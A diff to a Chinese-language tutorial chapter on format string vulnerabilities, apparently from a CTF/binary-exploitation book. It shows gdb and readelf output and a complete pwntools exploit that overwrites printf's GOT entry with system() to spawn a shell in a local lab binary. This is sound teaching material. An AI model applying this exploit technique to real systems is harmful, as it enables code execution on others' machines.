@ -4,6 +4,7 @@
- [格式化字符串漏洞基本原理 ](#格式化字符串漏洞基本原理 )
- [格式化字符串漏洞 ](#格式化字符串漏洞 )
- [CTF 中的格式化字符串漏洞 ](#ctf-中的格式化字符串漏洞 )
- [扩展阅读 ](#扩展阅读 )
## 格式化输出函数和格式字符串
@ -300,7 +301,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
## CTF 中的格式化字符串漏洞
#### pwntools pwnlib.fmtster
#### pwntools pwnlib.fmtster 模块
文档地址: http://pwntools.readthedocs.io/en/stable/fmtstr.html
@ -324,7 +325,7 @@ pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- numbwritten (int):已经由 printf 函数写入的字节数
- write_size (str):必须是 byte, short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写( hhn, hn或n)
我们通过一个例子来熟悉下该模块的使用:[fmt.c ](../src/Others/3.3.1_fmt.c ) [fmt ](../src/Other/3.3.1_fmt )
我们通过一个例子来熟悉下该模块的使用(任意地址内存读写) : [fmt.c ](../src/Others/3.3.1_fmt.c ) [fmt ](../src/Other/3.3.1_fmt )
```c
#include <stdio.h>
void main () {
@ -338,7 +339,7 @@ void main() {
}
```
为了简单一点,我们关闭 ASLR, 并使用下面的命令编译:
为了简单一点,我们关闭 ASLR, 并使用下面的命令编译,关闭 PIE, 使得程序的 .text .bss 等段的内存地址固定 :
```
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
@ -346,23 +347,90 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
使用 gdb 调试 ,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址 :
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp, 但这里, 我们还是先演示手工方法怎么做, 最后再用 pwntools 的方法。在 gdb 中 ,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下 :
```text
gdb-peda$ b main
...
gdb-peda$ r
...
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1f0 ("AAAA\n")
EBX: 0x804a000 --> 0x8049f10 --> 0x1
ECX: 0xffffd1f0 ("AAAA\n")
EDX: 0x400
ESI: 0xf7f97000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048508 <main+82>: sub esp,0xc
0x804850b <main+85>: lea eax,[ebp-0x408]
0x8048511 <main+91>: push eax
=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>
0x8048517 <main+97>: add esp,0x10
0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
0x8048520 <main+106>: mov eax,DWORD PTR [eax]
0x8048522 <main+108>: sub esp,0xc
Guessed arguments:
arg[0]: 0xffffd1f0 ("AAAA\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
0008| 0xffffd1e8 --> 0x400
0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
0016| 0xffffd1f0 ("AAAA\n")
0020| 0xffffd1f4 --> 0xa ('\n')
0024| 0xffffd1f8 --> 0x0
0028| 0xffffd1fc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048512 in main ()
```
我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset) :
```text
$ readelf -r a.out
Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
```
在 gdb 中获得 `printf()` 的虚拟地址:
```text
gdb-peda$ p printf
$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
```
获得 `system()` 的虚拟地址:
```text
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
```
完整漏洞利用代码如下 :
好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的 完整漏洞利用代码:
```python
# -*- coding: utf-8 -*-
from pwn import *
elf = ELF ( './a.out' )
r = process ( './a.out' )
libc = ELF ( '/usr/lib32/libc.so.6' )
# 计算偏移量
def exec_fmt ( payload ):
r . sendline ( payload )
info = r . recv ()
@ -370,20 +438,27 @@ def exec_fmt(payload):
auto = FmtStr ( exec_fmt )
offset = auto . offset
print_got = elf . got [ 'printf' ]
log . success ( " print_got => {} " . format ( hex ( print_got )))
# 获得 printf 的 GOT 地址
printf _got = elf . got [ 'printf' ]
log . success ( "printf_got => {} " . format ( hex ( printf_got )))
system_addr = 0xf7e17060
# 获得 printf 的虚拟地址
payload = p32 ( printf_got ) + '% {} $s' . format ( offset )
r . send ( payload )
printf_addr = u32 ( r . recv ()[ 4 : 8 ])
log . success ( "printf_addr => {} " . format ( hex ( printf_addr )))
# 获得 system 的虚拟地址
system_addr = printf_addr - ( libc . symbols [ 'printf' ] - libc . symbols [ 'system' ])
log . success ( "system_addr => {} " . format ( hex ( system_addr )))
payload = fmtstr_payload ( offset , { print_got : system_addr })
payload = fmtstr_payload ( offset , { printf _got : system_addr })
r . send ( payload )
r . send ( '/bin/sh' )
r . recv ()
r . interactive ()
```
这样就获得了 shell:
```text
$ python2 exp.py
[*] '/home/firmy/Desktop/RE4B/a.out'
@ -392,11 +467,24 @@ $ python2 exp.py
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './a.out': pid 15698
[+] Starting local process './a.out': pid 17375
[*] '/usr/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Found format string offset: 4
[+] print_got => 0x804a010
[+] printf _got => 0x804a010
[+] printf_addr => 0xf7e26bf0
[+] system_addr => 0xf7e17060
[*] Switching to interactive mode
$ echo "hacked!"
hacked!
```
这样我们就获得了 shell, 可以看到输出的信息和我们手工得到的信息完全相同。
# 扩展阅读
[Exploiting Sudo format string vunerability CVE-2012-0809 ](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html )